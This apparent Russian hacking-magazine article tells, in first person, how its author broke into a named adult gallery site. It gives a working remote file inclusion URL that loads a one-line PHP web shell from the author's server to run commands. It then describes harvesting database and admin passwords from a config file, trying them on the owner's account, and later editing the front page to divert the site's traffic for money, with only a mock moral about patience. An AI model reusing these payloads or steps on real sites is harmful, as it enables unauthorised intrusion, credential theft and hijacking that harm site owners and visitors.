Убийство ночной бабочки l1s Хакер, номер #090, стр. 090-068-3 Warning: main(): Failed opening 'day07\'.shtml' for inclusion (include_path='.:/usr/local/lib/php') in /usr/home/jamie55/jamies-galleries.com/daily.php on line 215 Ответ от сервера означал, что скрипт инклудил shtml-файлы, начинающиеся с "day0", где вторая часть имени файла берется у параметра day, который передается скрипу GET-запросом, то есть в данной ситуации сделать ничего было нельзя. Но остался шанс, что в третьем скрипте окажется более полезная уязвимость. Так оно и вышло. После того как я проследовал по ссылке, содержащей название нашего скрипта, линк выглядел так: www.jamies-galleries.com/category.php?cat=teen. Перед глазами появились девочки 18-19 лет. Но нам сейчас не до них :). Я решил видоизменить ссылку, подставив вместо "teen" многообещающее "test". На что сервер ответил: Warning: main(): Failed openingg 'test'.shtml' for inclusion... Ха, перед нами банальный инклуд. Но не нужно радоваться раньше времени. Я слил на свой сайт наипростейший скрипт следующего содержания: <? system($cmd); ?> После этого я немного видоизменил ссылку, и теперь она выглядела примерно так: www.jamies-galleries.com/category.php?cat=http://server.com/cmd&cmd=id Удар по энтеру и ожидание... Через некоторое время скрипт ответил, что у меня права пользователя nobody, что означало только одно - теперь мы можем выполнять команды на сервере, что само по себе уже хорошо. Копать - не перекопать Теперь мне предстояло копаться в логах, хистори и прочей ерунде. Я просмотрел все возможные логи, которые были на сервере, не включая логи апача. Веб-админка, с помощью которой администратор админил базу данных, получала пароль методом POST, поэтому логи апача не было смысла смотреть, тем более что этот пароль все равно находился в базе данных. Закачав на сервер RST MySQL в одну из директорий, доступных для записи, я залез в базу на сервере, пароль и логин к которой были аккуратно выложены в конфиге админки. Но к большому сожалению, данные из базы на главную страницу не выводились. Тогда я собрал все найденные пароли в текстовый файл, а именно: пароль от базы данных и несколько паролей от админки. После чего с удаленного сервера, используя shekk-доступ, я проверил, подойдет ли один из паролей к учетной записи jamie55 - ни какой из паролей не подошел к данной учетке. Я решил отложить данный взлом на неопределенное время. End the Прошло целых две недели, как я не притрагивался к сайту www.jamies-galleries.com. Но вдруг я решил зайти на него и покопаться еще немного. Когда я зашел на веб-шелл, моему удивлению не было предела: администратор поставил дополнительную админку для редактирования некоторых страниц, и главная страница сайта была доступна для редактирования пользователю nobody. С этого момента я почти неделю сливал порнушный трафик, на чем было заработано больше двухсот зеленых енотиков. Спустя неделю админ заткнул багу в скрипте, убил все мои веб-шелы и все, что бы могло как-то напомнить о моем присутствии на сервере. Надеюсь, ты понял мораль данной статьи. Конечно, нельзя ломать чужие сайты, однако если уж и начал проводить нехорошее дело, то не торопись. Как видишь, изначально взлом ничего не дал мне, но в итоге я получил доступ к ресурсу. |